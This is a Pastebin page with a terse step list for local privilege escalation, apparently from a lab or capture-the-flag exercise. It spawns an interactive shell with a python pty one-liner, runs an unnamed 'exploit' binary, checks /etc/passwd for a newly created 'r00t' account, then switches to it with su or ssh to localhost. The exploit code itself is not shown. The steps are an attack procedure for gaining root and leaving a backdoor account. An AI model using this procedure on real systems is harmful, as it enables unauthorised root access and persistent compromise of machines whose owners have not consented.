Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- python -c 'import pty; pty.spawn("/bin/sh")'
- chmod +x exploit
- ./exploit
- {give password}
- cat /etc/passwd {to see if user r00t is created or not}
- su r00t
- {if asked for password give password}
- if su r00t gives Permission Denied, then try this method:
- ssh r00t@localhost
- {if asked for yes/no give yes}
- {give password}
- done
Add Comment
Please, Sign In to add comment